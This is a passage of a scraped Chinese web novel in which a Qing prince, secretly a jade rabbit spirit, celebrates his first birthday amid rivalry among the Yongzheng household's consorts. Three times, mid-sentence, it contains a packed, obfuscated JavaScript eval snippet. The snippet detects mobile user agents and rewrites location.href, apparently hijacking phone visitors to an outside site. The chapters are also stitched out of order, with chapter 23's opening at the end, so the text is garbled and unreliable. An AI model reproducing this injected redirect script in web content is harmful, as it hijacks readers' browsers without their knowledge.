弘昼好似没听见耿格格话里的暗示,激动的扭过小脸说道:“嘿嘿,额娘,你听见了吗?弟弟叫我哥哥了。” 弘晏的一句“锅锅”,在弘昼看来,可是使得自己的形象光辉高大起来了。 他有弟弟了,可就不是府里最小的孩子了。 耿格格双眉微颦,沉声道:“弘昼,不得无礼。” 这厢,乌拉那拉氏已然被弘晏的小奶音萌化了,笑道:“欸,弘昼说得不错,今日是福宝的周岁宴,亦是家宴,小孩子爱热闹,不必拘束。” 耿格格瞧着乌拉那拉氏投向自己的视线,边挤出笑容边微微颔首。 有了乌拉那拉氏的话,弘时也往弘晏面前凑了:“六弟,我是你三哥哥。” 说完,弘时一脸殷切的望着肉乎乎的弘晏。 期待之余,弘时心里还有些不服气。 他是长子,弘晏第一声哥哥该叫他才对,平白的叫弘昼那家伙捡了便宜。 弘晏看着目光清澈还有些憨憨的弘时,大气的喊道:“锅锅。” 弘时听罢,咧着嘴嘿嘿笑着。 这下子,弘历也忍不住了:“六弟,还有我,我是你四哥哥啊。” 到底是正儿八经的第一次跟兄弟们见面,弘晏一碗水端平,冲着弘历奶奶的喊道:“锅锅。” 雍亲王府的女眷们见了这温馨的场面,脸上都笑意盈盈的。 只是胤禛的到来,打破了这和谐的画面。 弘时、弘历、弘昼没了刚才的活泼模样,规规矩矩的站在一旁喊了声“阿玛。” 胤禛淡淡应了一声,一双黑眸落在今日的主角——弘晏身上。 这孩子如今连“哥哥”都会喊,就是不会喊:“阿玛。” 胤禛正这样想着,下一瞬,便听见弘晏奶呼呼的一声:“阿阿。” 胤禛:听,是心碎的声音。 弘昼听了弘晏的话,先是嘿嘿笑了笑,而后热心肠的扬起小脸纠正道:“弟弟,不对,是‘阿玛’。” 在场的人心里都明白六阿哥弘晏都满周岁了还不会喊阿玛,但面儿上都装糊涂,谁也不敢提。 只是耿格格见弘昼这般嘴快,一颗心紧张的怦怦直跳,连手心里都沁出了一层汗,不自觉捏紧了帕子。 随即,耿格格偷偷瞄了一眼乌拉那拉氏的脸色,又怯怯的望了一眼胤禛。 乌拉那拉氏脸色如常,胤禛本就是那幅冷冰冰的样子,也看不出什么异常,只是耿格格感受的到如今的气氛有些微妙,便壮着胆子朝着弘昼招了招手,用尽量温和的口吻喊道:“弘昼,来额娘这儿。” 弘昼听到耿格格的召唤,摇了摇小脑袋:“我要和弟弟一块。” 耿格格闻言,恨不得马上冲过去将弘昼一把抓回来,可是理智告诉她不可以,正当耿格格想要再度开口说话的时候,却被李侧福晋抢了先。 “耿妹妹将弘昼教养的真好,小小年纪便有了兄长的模样,会教弟弟喊人了。”李侧福晋看着耿格格,满脸都是笑容,一幅看热闹的样子。 耿格格见李侧福晋直接对自己发难,忐忑不安的揉搓着手里的帕子,想要解释一番却不知该如何开口。 乌拉那拉氏闻此言,隐隐有些不悦。 这个李氏,真是好了伤疤忘了疼。 不过,她心里明白胤禛嘴上不说,但内心一直盼望着弘晏能早日喊他一声“阿玛”,是以,她在私下里没少教弘晏喊“阿玛”,可也怪了,这孩子却怎么都学不会。 在场众人心思各异,下一瞬,年侧福晋悠悠开了口:“李姐姐这话说得不错,但要真的论起年纪来,该是咱们三阿哥最大,是为长兄,更应是几位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143145|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小阿哥的好榜样了。” 十岁的弘时将年侧福晋的话听了进去并且深觉有理。 他是阿玛的长子,该担起身为长子的责任,教导幼弟的事情理应由他来做,弘昼一个三岁的娃娃懂什么,哪里会教,额娘真是夸大其词了。 刚刚弘昼已然抢了他两次风头,如今阿玛在场,他更该好好表现,让阿玛对他刮目相看。 弘时打定了主意,端起长兄的派头来,便自信从容的看着弘晏开了口:“六弟,三哥来教你,是‘阿~玛~’,来,跟我读,‘阿~玛~’。” 弘时将每个字的读音拉长,好让弘晏听得明白。 李侧福晋眼睁睁看着自己的儿子傻乎乎的往年氏挖好的坑里跳,气得都快要昏过去,可碍于胤禛在场,不好发作,只恨恨的望向年侧福晋。 年侧福晋的余光察觉到了来自李侧福晋的眼刀子,只掀了掀嘴角,连一个正眼都没有给李侧福晋。 而身为今日主角且投身于吃瓜第一线的弘晏,看着面前十分努力张口教学的弘时,眨了眨眼睛。 弘时见状,思忖着六弟确实不大聪明,他读的语速都这般慢了,竟还不会。 没关系,他再教一遍就是。 弘时掩下心中思绪,再次开口:“阿~玛~。” 这一回,弘晏倒是张开了小嘴,在弘时满是期待甚至有些激动的目光中,脆生生答了一声:“欸。” ??? 他这是被六弟占便宜了!!! 弘时原地石化。 李侧福晋的脸色则是一阵红一阵白的。 年侧福晋倒是没有想到弘晏会这么回答,拿起帕子掩了掩弯起的唇角。 瞧瞧,刚满周岁的六阿哥都比三阿哥聪明。 其余的格格们是想笑又不敢笑,要么死/死/抿着嘴唇,要么手握成拳,用指尖抵着掌心的肉。 胤禛依旧是淡定的模样,只是无人在意的角落,胤禛掀了掀嘴角,看向弘晏的眼睛里满是柔和。 小鬼头。 对上胤禛的视线,弘晏有些诧异。 便宜阿玛好像看出来他是故意这么喊的了。 不对,应该是他的错觉,他现在只是一个小宝宝,皮一点儿很正常,况且便宜阿玛又不是他肚子里的蛔虫。 弘晏这么想着,突然跌进一个宽阔坚硬的怀抱里。 弘晏抬起小脑袋一看,自己原来是到便宜阿玛怀抱里了。 下一瞬,胤禛抱着弘晏往前院去,其余人赶忙退至两旁,将路让出来。 待胤禛与乌拉那拉氏走后,年侧福晋便抬起了步子,其余的格格们有序的跟在后面。 耿格格赶忙拉住弘昼,边走边嘱咐弘昼万不可再胡乱说话了。 不一会儿的功夫,院子里只剩下李侧福晋与弘时两个人了。 李侧福晋抬起手戳了戳弘时的脑袋瓜,没好气的说道:“你呀,人家设个套,你就往里钻。” 弘时扬起脸,一本正经的说道:“额娘,六弟还那么小,哪里会给我设套。” 随即,弘时的脸上浮现一抹同情的神色:“六弟真是可怜,都满周岁了,还不会叫‘阿玛’,我身为长兄,是不会跟六弟计较的,额娘,你也不必放在心上。” 说到最后,弘时的眼神又变得坚定起来。 而李侧福晋听完了弘时的话,被气得说不出话来,只抬手捂住心口,逼着自己平静下来。 弘时见状,又一脸担心的问道:“额娘,你这是怎么了?” 李侧福晋瞧着弘时这般紧张自己的身子,一时间心情万般复杂,将捂住心口的手放下,咬着牙说道:“我,好的很。” 24. 第 24 章 雍亲王府的前院正厅内。 地板上铺了一张大红色的薄毯子,上面摆放着各式各样的物品,众人围着毯子而站,形成了一个圆圈。 胤禛在众人的注视下将小弘晏放在了红毯子上。 弘晏看着眼前琳琅满目的物品,明白这是人间的抓周仪式。 一旁的乌拉那拉氏见弘晏站着不动,便柔声开口:“福宝,想要什么便拿什么。” 乌拉那拉氏只盼着弘晏能够平安健康的长大,至于拿到什么物品,她并不在意。 弘晏闻言,冲着乌拉那拉氏嘿嘿一笑,随即迈起了小碎步子。 厅内众人的视线,便追随着弘晏移动的小身影。 弘晏最先走到了一本蓝灰皮的《三字经》面前,一点儿停留都没有,便摇摇晃晃的继续往前走,李侧福晋瞧见这一幕,勾了勾唇。 弘晏接着迈步越过小算盘、狼毫笔,连个眼神也没有。 李侧福晋见状,心中欢喜。 如此瞧来,这六阿哥也不是个爱读书的料子。 胤禛瞧着幼子的举动,脸上并无半分波动,只是有些好奇这小家伙稀罕什么。 红毯子上面摆放的物品,对于寻常周岁的孩子来说,是十分吸引人的,可是对于活了几百年的玉兔精来说,就没什么稀奇的了。 他可以什么都不拿吗? 小玉兔思忖间,余光忽然发现了一块亮亮的东西。 小玉兔掩下心中思绪,迈步走了过去,小玉兔才瞧清楚,原来是一块小巧的兔子形状的玉佩。 小玉兔的眼睛瞬间亮了,毫不犹豫的弯腰拿起了玉佩。 玉兔精当然要拿小兔子了。 弘晏拿着玉佩哒哒的走到乌拉那拉氏面前,努力举起玉佩给乌拉那拉氏瞧,扬着小脸喊道:“额~凉。” 乌拉那拉氏见状,笑意柔柔的伸出双手将弘晏抱了起来,让弘晏坐在自己的臂弯处:“福宝,喜欢这个玉佩?” 弘晏甜甜喊道:“啊啊。” 小玉兔当然喜欢小兔子了。 这时,李侧福晋笑着开了口:“六阿哥真是好眼光,这玉佩一瞧就是好东西,不像三阿哥抓周时,金的银的都不要,却要拿一本《三字经》,小小的手拿不起来还要掉泪珠子呢。” 李侧福晋这话明褒暗贬,踩低了乌拉那拉氏所生的六阿哥,抬高自己所生的三阿哥。 只是李侧福晋这话刚落地,弘时却是第一个不乐意了。 小少年眉头微颦,有些不悦的朝着李侧福晋喊了一声:“额娘。” 今日是六弟的好日子,府内的人都在,提他幼时的糗事做什么,真真是丢人的紧。 李侧福晋闻言,恨铁不成钢的对弘时使了个眼色。 这个傻儿子,听不出来自己是在夸他吗?! 偏偏弘时瞧不出来李侧福晋的心思,赌气似的将小脸扭过去,不再看李侧福晋。 额娘当众说了他的糗事,竟还怨他不高兴了,这事换了谁,谁都不会高兴的。 生闷气的弘时感觉到有一道视线正盯着他瞧,一抬头,发现竟然是乌拉那拉氏怀里的弘晏。 看着糯米团子似的六弟,弘时的心情好了许多,同时也有些担心,他刚刚与额娘说话的样子是不是太凶了,会不会吓到六弟了,不然怎么六弟怎么一动不动的看着他,万一六弟哭了怎么办? 六弟以后不叫他哥哥了,怎么办? 六弟以后害怕他,不跟他亲近怎么办? 疑问一个接一个涌上心头,弘时想挽救一下自己在弘晏心里的形象,于是乎,弘时挤出了一个自认为很阳光灿烂的笑容。 弘晏:…… 他这个三哥不仅憨憨的,还有些傻乎乎的。 他只是想静静地窝在香香额娘的怀里吃瓜而已,突然对他笑做什么? 而且笑得比哭还难看。 算了,算了。 目前来看,弘时对他做出的都是善意的举动,有道是:“来而不往非礼也。” 于是,弘晏回了弘时一个甜甜的笑容。 弘时见状,心中一喜,弯了弯嘴角。 六弟对他笑了! 太好了,六弟没有被他吓到,六弟还是喜欢他这个三哥的。 而距离李侧福晋最近的年侧福晋,观着这母子两个的举动,扯了扯嘴角。 别说弘时自愿跳进自己设的套,连他亲额娘给旁人挖的坑,连眼都不眨的跳了进去,还真是少见呢。 而苏培盛听了李侧福晋的话,第一时间瞄了主子胤禛的脸色。 虽然胤禛脸上并没有什么明显的波动,但苏培盛作为胤禛的心腹,自然是能看出来自家爷现在不高兴。 于是乎,苏培盛对着李侧福晋夸道:“侧福晋您好眼力,因着六阿哥属兔,所以这块玉佩可是几个月前,主子爷特意吩咐玉匠,为了今日的抓周礼打造的。” 李侧福晋听完,整个人都呆住了。 小丑原来是自己。 这件事乌拉那拉氏并不知晓,听苏培盛说完以后,心里也有些触动。 胤禛这个人向来是做的比说的多。 弘晏低头看了看手里的小兔玉佩,又抬头望了望依旧一脸平静的胤禛。 这是便宜阿玛特意给自己准备的周岁礼,还不直接送给自己,而是混在抓周仪式上,等着自己发现,真是浪漫的老父亲一枚呢。 弘晏手里拿着小兔玉佩,心里暖暖的。 随即,弘晏抬起小脑袋,对着胤禛所在的位置,张口喊道:“阿~玛~。” 最先反应过来的是抱着弘晏的乌拉那拉氏。 乌拉那拉氏压下心头的激动,诧异的问道:“福宝?你刚才说什么?” 弘晏闻言,瞧着胤禛,又大声喊道:“阿~玛~。” 屋子里鸦雀无声,弘晏这声:“阿玛”,在场众人都听得清清楚楚。 迟疑而且有些不确信的胤禛,终于在此时确定了,他没有听错,弘晏就是在喊他,喊他:“阿玛。” 旋即,胤禛大步迈过去,直接从乌拉那拉氏怀里接过弘晏,笑呵呵的在弘晏的脸蛋儿上亲了一口:“好儿子。” 随即,胤禛将弘晏抱进怀里。 弘晏贴着胤禛的胸膛,清晰的听见由于胤禛的笑声,而引发的胸腔振动。 原来,自己叫一声“阿玛”,便宜阿玛会这么高兴啊。 弘晏顿时有点儿小愧疚了,小脑袋在胤禛怀里蹭了蹭,糯糯的喊道:“阿~玛~。” 而乌拉那拉氏满是欣慰的看了一眼弘晏,随后用眼睛扫视了屋内众人,最后将视线落在了李侧福晋身上。 李侧福晋发觉乌拉那拉氏犀利的目光,抿着嘴,讪讪的低下了头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143146|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 乌拉那拉氏微抬了抬下巴,她就站在这里瞧着,谁还敢说她的福宝不会叫“阿玛。” 李侧福晋今日当众打脸,年侧福晋此时顾不上高兴,却有些伤神,若是她的孩儿还在,也会这般甜甜的喊她一声“额娘”,喊胤禛一声“阿玛。” —— 今日胤禛确实高兴,在周岁宴上多喝了几杯,待宴席散后,胤禛便回了正院。 小弘晏今日也费了不少精气神儿,吃饱喝足,现在已然躺在内室的摇篮椅里呼呼大睡了。 胤禛瞧着弘晏呼吸匀称,小肚子一股一股的,便贴心的给弘晏掖了掖被角,而后走出了内室,掀起衣袍一角,落坐在了檀木小榻上。 流萤将一碗醒酒汤放在胤禛面前,便拿着漆木托盘退了出去。 乌拉那拉氏正要坐在小榻的另一侧,却见胤禛抬手拍了拍身旁空出来的位子,便改步落坐在了胤禛身旁。 胤禛握住了乌拉那拉氏的手,喊道:“锦安,我……” 不待胤禛说完,乌拉那拉氏便接了话茬:“爷高兴,福宝喊了你‘阿玛’。” 胤禛点了点头,嘴角控制不住的上扬。 乌拉那拉氏有些无奈,用眼神示意了一下胤禛。 胤禛心领神会,松了乌拉那拉氏的手,转而端起了那碗醒酒汤。 胤禛身上虽有酒气但并不难闻,乌拉那拉氏瞧着胤禛有些泛红的脸,言道:“爷也不是第一次做阿玛了。” 胤禛将醒酒汤一饮而尽,将空碗放回到炕桌上,旋即扭过脸看着乌拉那拉氏,拉起乌拉那拉氏的手,一本正经的说道:“弘晏不一样,锦安,我觉得是弘晖回来了。” 听到弘晖的名字,乌拉那拉氏眸子一颤,将手抽了出来,别开脸说道:“爷醉了。” 今个儿一整天都欢欢喜喜的,她不想再去触碰埋藏在心底的伤疤。 胤禛眸子一暗,弘晖的死是他与乌拉那拉氏心中无法弥补的伤痛,他们夫妻的关系也因此变得冷淡。 这些年来,他与乌拉那拉氏嘴上虽不提及,但心里从未忘记过弘晖。 胤禛顿了顿,还是开了口:“爷没醉,爷清醒的很。弘晖,是极好的孩子,聪慧懂事,知晓我对他的期盼,对自己也严苛,病中也不肯放下功课……” 胤禛说到这里,语气变得哽咽。 而此时的乌拉那拉氏,眼眶中蓄起的泪珠,无声的从泛红的眼尾滑落下来。 胤禛抬手,将乌拉那拉氏的身子转回来:“锦安,我知你心中对我有怨言,弘晖没了,我又何尝不心痛,好在老天有眼,又将弘晖给我们送回来了……” 乌拉那拉氏拂开胤禛的手,拿着帕子拭泪,而后起身道:“爷,夜深了,妾身累了,爷也早些回房安寝吧。” 话音落下,乌拉那拉氏转而迈步进了内室。 胤禛叹了口气,随后站起身,迈步离开了正院。 外面守着的苏培盛,瞧着胤禛脸色不好,不明所以,但还是赶忙跟了上去。 内室中的乌拉那拉氏,站在摇篮椅前,伸出手轻轻抚摸着弘晏熟睡的脸庞。 小家伙不知在做什么美梦,还咂了咂嘴巴。 乌拉那拉氏心中一软,嘴角微扬。 下一瞬,乌拉那拉氏收回了手,移步到窗前,抬眸瞧向那远在天边的弯月,喃喃道:“弘晖,我的儿……” 25. 第 25 章 四月的天儿,风和日丽,万里无云。 正院内的奴才们,正有条不紊的忙活着自己的差事儿。 屋子里,乌拉那拉氏陪着弘晏在檀木小榻上玩九连环。 弘晏满周岁不久,年纪还小,乌拉那拉氏没教弘晏怎么解九连环,更没指望弘晏会解九连环,只不过是想拿个玩意儿哄弘晏高兴罢了。 果然,这九连环发出的清脆叮当声响,还真吸引了弘晏。 弘晏就乖乖的坐在檀木小榻上,一脸专注的把玩着九连环。 乌拉那拉氏见状,笑意盈盈的端起青花瓷茶盏,呷了一口茶。 这时,流萤迈步过来站立于乌拉那拉氏身侧,开口禀道:“福晋,耿格格带着五阿哥来给您请安了。” 乌拉那拉氏闻言,将手里的茶盏放回原处,点头道:“叫她进来吧。” 片刻后,只见耿格格牵着三头身的弘昼缓缓走进来,旋即,耿格格松了牵着弘昼的手,福身道:“妾身给福晋请安。” 一旁的弘昼,有模有样的作揖道:“儿子给嫡额娘请安。” 弘昼嘴上说着请安的话,圆溜溜的眼睛,却看着坐在乌拉那拉氏身旁,正低头摆弄九连环的弘晏。 “弟弟!” 弘昼兴冲冲的喊道。 几日不见,弟弟好像吃胖了。 小脸肉乎乎的,更可爱了。 一旁的耿格格眉头微颦,轻斥道:“弘昼,不得无礼。” 这孩子出门前答应的好好的,一来就忘了她的嘱咐,又乱说话。 弘晏正聚精会神的解九连环,压根没注意到屋子里多了两个人,突然听见熟悉的小奶音,一抬头便瞧见了正冲着他笑的弘昼。 弘晏发现弘昼笑起来,脸上竟然有一个小酒窝。 还蛮好看的呢。 弘晏回以一笑:“锅锅。” 乌拉那拉氏见兄弟两个一来一往的打招呼,眉眼间尽是温柔:“无妨,银烛,拿些玩具过来,叫两个阿哥一起玩吧。” 银烛应了一声,便去办了。 乌拉那拉氏的视线,又落在有些拘谨的耿格格身上:“别拘着了,坐吧。” “是。”耿格格颔首道。 这厢,银烛在地上铺了一层毯子,又将玩具摆放在上面,王乳娘则将小榻上的弘晏抱起,放在了毯子上。 弘昼见状,也坐在了毯子上,兄弟两个很快拿着玩具玩了起来。 流萤捧着一盏热茶,放到耿格格面前,便退到一旁侯着。 耿格格扫了一眼弘昼,才看向乌拉那拉氏,开口道:“弘昼几日前不甚染了风寒,多亏福晋请了太医进府,如今弘昼病愈,妾身自该带着他来给福晋请安。” 凡名医者,大都有自己的规矩和行事风格。 柳从南也不例外。 弘昼得了风寒那日,恰好是柳从南进山采药的日子,不在府中。 耿格格本想差了身边的丫鬟去外面的药铺请位大夫进府,乌拉那拉氏得知后,便命流萤拿着腰牌进宫,请了位太医给弘昼诊治。 耿格格今日带着弘昼来正院,名为请安,实则是道谢。 乌拉那拉氏闻言,笑了笑:“皇家的孩子金贵,也不是什么大夫都能诊治的,难为你有心,还特意带着弘昼过来。” 坐在绣墩上的耿格格陪笑道:“应当的。” 两个大人说话时,弘昼和弘晏两个小人儿也没闲着,两个人一起拼起了七巧板。 弘昼将腰间的荷包解开,拿出了一块粽子糖放进嘴里时,正好被弘晏瞧见了。 弘昼嘿嘿一笑,又从荷包里拿出一颗粽子糖塞进了弘晏嘴里:“弟弟尝尝,可甜了。” 弘昼的动作太快,王乳娘还没反应过来,粽子糖已经进了弘晏嘴里。 不过六阿哥已经满周岁了,吃块糖想来也是无妨的。 弘晏可不知王乳娘心中所想,他只知道粽子糖的甜味儿已经开始在他舌尖上蔓延了。 弘晏咂了咂嘴,粽子糖确实很甜。 耿格格与乌拉那拉氏说话时,余光时不时的瞟向弘昼所在的方向,见弘昼不知将什么东西塞进弘晏嘴里时,耿格格心里一惊,忙扭过头喊道:“弘昼,你给弟弟吃了什么?” 乌拉那拉氏听到耿格格的话,立马看向了弘晏。 而弘晏正细细品味着嘴里的粽子糖。 弘昼微微一怔,而后看着耿格格说道:“粽子糖啊。” 粽子糖? 这本来是前几日弘昼嫌药苦,不肯乖乖喝药时,耿格格给了他粽子糖哄他喝药的,却不想今日来正院,弘昼竟然还偷偷带来了,而且还喂给了弘晏吃。 耿格格一脸严肃的看着弘昼说道:“弘昼,你还未请示过嫡额娘,怎么能给弟弟喂东西吃呢?快过来给嫡额娘请罪。” 弘昼觉得自己没错,站着没动。 耿格格没了耐性,“蹭”的站起身,三步并作两步走过去,就要拽着弘昼给乌拉那拉氏请罪,可弘昼却使劲往后退。 耿格格有些气急了,弯腰在弘昼屁股上打了一下:“你这孩子。” 弘晏见一颗小小的粽子糖竟惹出这风波来,连忙从毯子上爬起来走过去扯着耿格格的衣摆,焦急的仰着小脸喊道:“不打,锅锅好,糖糖甜。” 弘晏有些着急,他的年纪太小,还说不了完整的话。 不过,耿格格应该能明白他的意思了吧。 弘晏说完,松了耿格格的衣摆,又摇摇晃晃的走到乌拉那拉氏面前,软糯糯的说道:“额凉,锅锅,锅锅好。” 乌拉那拉氏自然明白弘晏的意思,温柔的摸了摸弘晏的小脸蛋儿:“额娘知道。” 随即,乌拉那拉氏朝着弘昼招了招手。 耿格格推了推弘昼:“嫡额娘叫你呢,快过去。” 弘昼不情不愿的瘪着嘴,慢吞吞的走过去,来到了乌拉那拉氏身边。 弘晏见状,抱了抱弘昼,安慰道:“好锅锅。” 弘昼的小脸儿才好看了些。 乌拉那拉氏抬手将弘昼拉到身边来,耐心教导:“弘昼,你是哥哥,有好吃的还知道给弟弟吃,这是好的,只是弟弟太小了,有的东西吃不得,所以你要问过额娘与嫡额娘,再给弟弟吃,明白吗?” 弘昼点了点小脑袋。 乌拉那拉氏笑着摸了摸弘昼的小脑瓜,随即抬眼对着流萤说道:“去内室,将那匹松绿色的妆花缎拿来,我瞧着给弘昼做衣裳正好。” 流萤应了一声,迈步往内室去了。 耿格格听罢,开口婉拒道:“福晋,这料子还是留给六阿哥裁衣吧。” 乌拉那拉氏眉眼弯弯的看着耿格格:“欸,弘昼小小年纪便知疼爱幼弟,自该嘉奖,你无需推辞。” 耿格格见状,屈膝道:“多谢福晋。” 而后,耿格格开口提醒弘昼:“弘昼,快谢过嫡额娘。” 弘昼抬起小手作揖道:“多谢嫡额娘。” 弘昼话音刚落下,流萤正好捧着妆花缎出来,便直接交给了耿格格的丫鬟秋叶。 耿格格母子临走前,弘晏抬起小手跟弘昼挥挥:“锅锅。” 弘昼也学着弘晏的动作,跟弘晏挥手再见。 待耿格格母子走远了,乌拉那拉氏将弘晏抱起来,让其坐在自己的膝头,而后曲起食指轻轻刮了一下弘晏的鼻头,宠溺道:“你呀,小馋猫。” 弘晏嘿嘿一笑,而后耍赖似的窝进乌拉那拉氏怀里,用小脑袋边蹭边软乎乎的喊道:“额凉~” 这时,王乳娘走出来跪在地上请罪:“奴婢有罪,五阿哥喂六阿哥吃粽子糖,奴婢没有及时拦下,请福晋治罪。” 乌拉那拉氏闻言,敛了笑容,缓缓开口: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143147|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这次便罢了,以后警醒些。” 王乳娘听罢,忙磕头道:“奴婢多谢福晋开恩。” 这时,乌拉那拉氏怀里的弘晏又开了口:“额凉,饿了。” 乌拉那拉氏示意王乳娘起身,而后笑眯眯的问道:“额娘让人给你做鸡蛋羹吃,好不好?” 弘晏点了点小脑袋。 —— 这厢,耿格格拉着弘昼出了正院没多远,弘昼猛然松开耿格格的手,向前跑去。 “弘昼。” 耿格格喊了一声,不见弘昼停下,便忙小跑追去。 弘昼跑到了甬道的尽头,却依旧没有停下的意思,拐向石子小路继续奔跑。 因着弘昼只顾奋力奔跑,没顾着看人,不承想,一下子撞上了迎面走过来的李侧福晋。 “哎吆。” 李侧福晋身子一咧,幸而被身旁的春风稳稳扶住。 待李侧福晋站稳了,看清面前的小人儿时,眉头一皱,厉声道:“弘昼,你眼睛长头上了,直直的往本侧福晋身上撞。” 弘昼也吓傻了,呆呆的站在原地。 李侧福晋眉毛一翘,哼道:“怎么?难不成嘴也哑巴了?” 耿格格终是追了上来,一把将弘昼护在身后,恭恭敬敬的福身道:“妾身给侧福晋请安,弘昼一时鲁莽,冲撞了侧福晋,还望侧福晋恕罪。” 耿格格说完,对着身后的弘昼说道:“弘昼,快给侧福晋认错。” 弘昼知晓闯了祸,听自己额娘的话,乖乖的拱手道:“李姨娘,弘昼错了。” 李侧福晋瞥了一眼请罪的母子二人,随即抬手扶了扶鬓边的红宝石簪子,哼道:“本侧福晋受了惊吓,你们母子轻飘飘的一句‘错了’,就没事了吗?” 今个儿早上,她娘家送信进府,说家里为她侄子谋差事,疏通关系需要银两打点,生生要了她二百两银票。 她又不似年氏富裕,贴补了娘家二百两银票,本就心情不好,被丫鬟劝着出来走走散散心,还叫弘昼给撞了,真真是晦气的很。 耿格格听着李侧福晋的话音,知晓对方还生着气,便道:“侧福晋,妾身刚从正院请安回来,福晋赏了一匹妆花缎,如今妾身便借花献佛,赠与侧福晋。” 秋叶闻言,便捧着妆花缎走到李侧福晋身旁。 李侧福晋扫了一眼妆花缎,看着眼前人质问道:“耿氏,本侧福晋难道缺一匹衣料不成?” 耿格格忙开口解释:“妾身绝无此意。” 李侧福晋捋着手里的锦帕,悠悠开口道:“罢了,本侧福晋宽宏大量,你让弘昼跪下磕个头,这事儿便算了。” 耿格格闻言,羽睫扑闪了两下,随即撩起衣摆,直挺挺的跪在了石子小路上,强忍着膝盖传出的疼痛,出声道:“侧福晋,子不教,母之过,妾身代弘昼向侧福晋请罪,还望侧福晋宽宥弘昼。” 弘昼见状,瞬间红了眼眶,哽咽道:“额娘。” 耿格格斥道:“住口。” 随即,耿格格给丫鬟秋叶使了个眼色。 秋叶赶忙绕过来拉住弘昼,以防弘昼再乱说话,惹得李侧福晋不快。 随后,耿格格弯下身子,深深的给李侧福晋磕了头。 待耿格格直起了身子,李侧福晋弯了弯唇,居高临下的说道:“耿妹妹,你方才这头是替弘昼磕的,那你自己没管教好孩子,又该怎么算呢?” 耿格格心中一惊,攥紧了手中的帕子,而后谦卑的开口道:“侧福晋提醒的是,妾身管教不严,自当磕头请罪。” 一旁的秋叶见李侧福晋咄咄逼人为难自家主子,已然红了眼眶,可自己又无能无力。 而弘昼可就忍不住了,甩开秋叶的手,跑进草坪里,挖起一块泥土狠狠的砸向了李侧福晋。 电石火花间,只听得李侧福晋一声惊呼“啊!” 23-30 第23章 第23章兄弟见面 转眼间,弘晏满周岁了。 一大清早,弘晏就被王乳娘伺候着洗漱,而后额娘乌拉那拉氏就给自己套上了一件大红色的新袍子。 紧接着,乌拉那拉氏又给弘晏戴上了黄澄澄的长命锁。 这一番打扮下来,更衬的弘晏粉雕玉琢、玉雪可爱,跟个小仙童似的。 王乳娘则笑呵呵的夸道:“咱们六阿哥今日真是好看,比那画上的人还好看。” 今日是弘晏的周岁宴,弘晏可是主角,收拾妥当之后,乌拉那拉氏便抱着弘晏出了屋子。 满雍亲王府的女眷齐齐的聚在正院里侯着,见乌拉那拉氏抱着弘晏出来,嘴巴跟涂了蜜似的,好听的话一波接着一波。 而小弘晏也在今日终于认齐了雍亲王府的主要成员。 便宜阿玛除了额娘这个正妻之外,还有两位上了玉牒的侧福晋,分别是李氏与年氏。 你以为这就结束了吗?不,便宜阿玛还有一堆小老婆。 宋格格、钮祜禄格格、耿格格、乌雅格格和冯格格。 弘晏看着面前穿红着绿的女人们,心里有些生气,便宜阿玛可真是一个花心大萝卜。 就算是它们玉兔精要找另一半结合,也是只追求一个的。 弘晏正想着,便听见了一道十分稚嫩的声音:“额娘,我看不见弟弟了。” 孩童的声音在女人堆里格外显眼,其余人与弘晏一样,皆寻声望去,只见耿格格脸一红,旋即对着乌拉那拉氏福身道:“福晋恕罪,是妾身没有管教好五阿哥。” 弘晏听了这话,视线下移,这才瞧见了一个三头身肉乎乎的小娃娃正抬手拽着耿格格的衣摆,那小娃娃神情有些焦急。 小娃娃见众人都盯着他瞧,一时间,大大的眼睛里满是大大的疑惑。 乌拉那拉氏闻言,弯了弯唇,笑道:“无妨,是该让福宝认识认识哥哥们了。” 乌拉那拉氏话音落下,其余人等都识趣的将地方让出来。 这时,三阿哥弘时抬步走过去,四阿哥弘历跟着弘时的脚步,小大人似的慢步走过去,五阿哥弘昼则立马松了耿格格的衣摆,快速小跑过去,扬起小脸笑嘻嘻的说道:“弟弟,漂亮弟弟,我是五哥哥。” 弘昼边嘴上说着,边伸出一个手掌来比“五”给弘晏看。 小娃娃自报姓名,弘晏便知道面前这个是五阿哥弘昼了,再看一旁那个个头跟弘昼一般大小的娃娃,便明白是四阿哥弘历了。 毫无疑问,年纪最大的那个孩子就是三阿哥弘时了。 弘晏的视线在三人脸上扫了一遍,这就是他这一世的兄弟们。 因为亲近老八被厌弃的弘时,乱爱盖印章的乾小四,以给自己置办丧事为乐的弘昼。 弘晏在心里捂脸:这都是什么显眼包啊! 除了这三个,再加上他这个原身是玉兔精的六阿哥弘晏,胤禛就集齐了四个风格迥异的显眼包儿子。 这下子,连弘晏都有些同情便宜阿玛了,有四个这么不省心的儿子。 